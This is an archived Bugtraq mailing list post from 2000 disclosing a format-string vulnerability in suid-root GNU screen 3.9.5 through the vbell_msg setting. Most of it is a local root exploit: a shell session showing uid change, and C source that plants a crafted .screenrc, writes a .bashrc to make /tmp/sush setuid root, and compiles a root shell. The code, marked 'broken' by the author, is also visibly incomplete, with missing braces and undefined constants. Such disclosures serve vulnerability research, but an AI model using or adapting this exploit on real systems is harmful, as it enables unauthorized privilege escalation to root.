Home page logo

bugtraq logo Bugtraq mailing list archives

Screen 3.9.5 vulnerability again.
From: Paul Starzetz <paul () STARZETZ DE>
Date: Fri, 8 Sep 2000 02:49:45 +0200

Hi all

as mentioned in previous postings, screen versions <= 3.9.5 which are
installed suid root are vulnerable to a malformed user supplied
vbell_msg string attack.

I looked at the source of screen-3.9.5 and found that the vulnerable
call to Msg() moved to another place and that there is no longer a
buffer holding the cwd, from which screen was started. But again, after
a examination of the stack I found, that if compiled with the 'NETHACK'
flag (which seems to be default), there is still a buffer holding an
usable string from environ, namelly

char nethackrc[MAXPATHLEN];

which holds the value of 'HOME'. So the exploitation can be done by
creating a prepared home dir and putting it into environ. The buffer
nethackrc (which has an offset about 300-600 from the vulnerable
function) is filled only if the environ variable 'NETHACKOPTIONS' is
_not_ set, but after we can use our own environ...

MAXPATHLEN may be too small to reach the original environ strings from
Msg() and the 'vbell_msg' command in .screenrc takes max. about 2000
characters, so we can 'eat' max. ~ 1000*sizeof(double) (%g conversion)
bytes from the stack frame inside Msg(). Exploiting over the original
environ area may be really hard :-)

Nevertheless it works again on SuSE 6.1 with compiled screen-3.9.5 from
sources (maybe some one checks the rpms). On OpenBSD so far as I could
check (OpenBSD lemur 2.8 KALM#4 i386) a problem arises from the low VM
addresses, I found an uid offset = 0x3d1e4, which has 0x00 if converted
to 4 x unsigned char. But how construct a C string containg a few '0'
;-) What about overwritting the RET?

So now the exploit:

paul () phoenix:/usr/home/paul/tmp2/screxp > id
uid=500(paul) gid=100(users) groups=100(users)
paul () phoenix:/usr/home/paul/tmp2/screxp > a.out 0 0 3
chown: /tmp/sush: Operation not permitted
paul () phoenix:/usr/home/paul/tmp2/screxp > <ctrl-g> <ctrl-c>
shell-init: could not get current directory: getcwd: cannot access
parent direct
ories: Permission denied
chown: /tmp/sush: Operation not permitted
I have no name! () phoenix:/usr/home/paul/tmp2/screxp > id
uid=177 gid=100(users) groups=100(users)

so you can again play with the writeoffset (-1 :-) and gain r00t.


--------------------------------------- expl395.c (broken)

*                                                               *
*               Screen 3.9.5 local exploit                      *
*               by IhaQueR () IRCnet                            *
*               only for demonstrative purposes                 *
*                                                               *

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#include <stdlib.h>
#include <errno.h>

#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/home/paul/tmp2/screen-3.9.5/screen"
#define TMPPATH "/tmp/"

/*      to help you hit the buffer we repeat the addr in the dir path   */
#define AREP 48

/*      but write only once     */
#define WREP 1

/*      offset of the nethack-buffer seen from Msg()    */
#define BUFOFFSET 592


/*      addr to be written      (may vary)*/
#define WRITEADDR 0x8084e14

/*      some addresses grabbed from 3.9.5

S.u.S.E 6.1: 592

                &real_uid,      &real_gid,      &eff_uid,       &eff_gid        own_uid
                0x8084e14       0x80839fc       0x8083950       0x8083954

OpenBSD: 320

                &real_uid,      &real_gid,      &eff_uid,       &eff_gid        own_uid

for finding addresses see expl.c, it may be hard...


int main(int argc, char** argv)
int i, off=0;
int writeoffs, bufoffset, padding, bfoff;
unsigned a, *p;
FILE* fp;

char buf[TMPBUFSIZE];
unsigned char adr[(AREP+4)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];

                if(argc != 4) {
                        printf("USAGE %s <write offset> <bufferoffset> <padding>\n",
                        return 0;
                } else {
                        printf("Screen 3.9.5 local r00t exploit\n");
                        printf("by IhaQueR () IRCnet\n\n");

/*      user supplied offsets   */
                writeoffs = atoi(argv[1]);
                bfoff = atoi(argv[2]);
                padding = atoi(argv[3]);

/*      create home string              */
                bzero(adr, (AREP+2)*sizeof(unsigned));
                sprintf(adr, "HOME=%s", TMPPATH);

/*      pad             */
                for(i=0; i<padding; i++)
                        strcat(adr, "P");
                p = (unsigned*) (adr + strlen(adr));
                a = WRITEADDR + writeoffs;

                for(i=0; i<AREP; i++) {
                        *p = a;
                *p = 0;

                if(mkdir((char*)(adr+5), 0xfff))
                        if(errno != EEXIST) {
                                printf("\nERROR: mkdir()");
                                return 2;

/*      PWD=cwd/ourdir\000 + VARNAME= => off + 6 + strlen(VARNAME)      */
                off += strlen(TMPPATH);
                off += bfoff*8;
                bufoffset = BUFOFFSET + off;

/*      strings for .screenrc and .bashrc       */
                strcpy(screenrc, adr+5);
                strcat(screenrc, "/");
                strcat(screenrc, SCREENRC);
                strcpy(bashrc, adr+5);
                strcat(bashrc, "/");
                strcat(bashrc, BASHRC);

/*      create vbell string     */
                printf("creating magic string\n");
                bzero(buf, TMPBUFSIZE);

/*      consume stack arguments */
                for(i=0; i<bufoffset/8+1; i++)
                        strcat(buf, "%.0g");

/*              finally write to adress */
                for(i=0;i<WREP; i++)
                        strcat(buf, "%x");

/*      create screenrc */
                printf("building %s\n", SCREENRC);
                if(fp = fopen(screenrc, "w")) {
                        fprintf(fp, "vbell on\n");
                        fprintf(fp, "vbell_msg '%s'\n", buf);
                        fprintf(fp, "vbellwait 3600\n");
                else {
                        printf("ERROR: opening %s\n", screenrc);
                        return 1;

/*              create bashrc           */
                printf("creating %s\n", BASHRC);
                snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod
4755 /tmp/sush'", bashrc);

/*              create suid shell       */
                printf("compiling suid shell\n");
                snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
                system("gcc /tmp/sush.c -o /tmp/sush");

/*      set env and call screen */
                argv[1] = NULL;
                printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush");

                execv(SCREEN, argv);


Disclaimer: Any resemblance between the above views and those of my
employer, my terminal, or the view out my window are purely
coincidental.  Any resemblance between the above and my own views is
non-deterministic.  The question of the existence of views in the
absence of anyone to hold them is left as an exercise for the reader.
The question of the existence of the reader is left as an exercise for
the second god coefficient.  (A discussion of non-orthogonal,
non-integral polytheism is beyond the scope of this article.)

  By Date           By Thread  

Current thread:
  • Screen 3.9.5 vulnerability again. Paul Starzetz (Sep 08)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]